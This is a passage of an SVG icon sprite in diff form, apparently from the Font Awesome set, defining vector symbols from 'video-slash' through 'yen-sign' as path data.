50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z"></path> + </symbol> + <symbol id="video-slash" viewBox="0 0 640 512"> + <path d="M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z"></path> + </symbol> + <symbol id="vihara" viewBox="0 0 640 512"> + <path d="M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z"></path> + </symbol> + <symbol id="virus" viewBox="0 0 512 512"> + <path d="M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z"></path> + </symbol> + <symbol id="virus-slash" viewBox="0 0 640 512"> + <path d="M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z"></path> + </symbol> + <symbol id="viruses" viewBox="0 0 640 512"> + <path d="M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z"></path> + </symbol> + <symbol id="voicemail" viewBox="0 0 640 512"> + <path d="M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z"></path> + </symbol> + <symbol id="volleyball-ball" viewBox="0 0 512 512"> + <path d="M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z"></path> + </symbol> + <symbol id="volume-down" viewBox="0 0 384 512"> + <path d="M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z"></path> + </symbol> + <symbol id="volume-mute" viewBox="0 0 512 512"> + <path d="M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z"></path> + </symbol> + <symbol id="volume-off" viewBox="0 0 256 512"> + <path d="M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z"></path> + </symbol> + <symbol id="volume-up" viewBox="0 0 576 512"> + <path d="M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z"></path> + </symbol> + <symbol id="vote-yea" viewBox="0 0 640 512"> + <path d="M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z"></path> + </symbol> + <symbol id="vr-cardboard" viewBox="0 0 640 512"> + <path d="M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z"></path> + </symbol> + <symbol id="walking" viewBox="0 0 320 512"> + <path d="M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z"></path> + </symbol> + <symbol id="wallet" viewBox="0 0 512 512"> + <path d="M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="warehouse" viewBox="0 0 640 512"> + <path d="M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z"></path> + </symbol> + <symbol id="water" viewBox="0 0 576 512"> + <path d="M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z"></path> + </symbol> + <symbol id="wave-square" viewBox="0 0 640 512"> + <path d="M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z"></path> + </symbol> + <symbol id="weight" viewBox="0 0 512 512"> + <path d="M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z"></path> + </symbol> + <symbol id="weight-hanging" viewBox="0 0 512 512"> + <path d="M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"></path> + </symbol> + <symbol id="wheelchair" viewBox="0 0 512 512"> + <path d="M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z"></path> + </symbol> + <symbol id="wifi" viewBox="0 0 640 512"> + <path d="M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z"></path> + </symbol> + <symbol id="wind" viewBox="0 0 512 512"> + <path d="M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z"></path> + </symbol> + <symbol id="window-close" viewBox="0 0 512 512"> + <path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z"></path> + </symbol> + <symbol id="window-maximize" viewBox="0 0 512 512"> + <path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z"></path> + </symbol> + <symbol id="window-minimize" viewBox="0 0 512 512"> + <path d="M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="window-restore" viewBox="0 0 512 512"> + <path d="M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z"></path> + </symbol> + <symbol id="wine-bottle" viewBox="0 0 512 512"> + <path d="M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z"></path> + </symbol> + <symbol id="wine-glass" viewBox="0 0 288 512"> + <path d="M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z"></path> + </symbol> + <symbol id="wine-glass-alt" viewBox="0 0 288 512"> + <path d="M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z"></path> + </symbol> + <symbol id="won-sign" viewBox="0 0 576 512"> + <path d="M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z"></path> + </symbol> + <symbol id="wrench" viewBox="0 0 512 512"> + <path d="M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="x-ray" viewBox="0 0 640 512"> + <path d="M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z"></path> + </symbol> + <symbol id="yen-sign" viewBox="0 0 384 512"> + <path d="M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 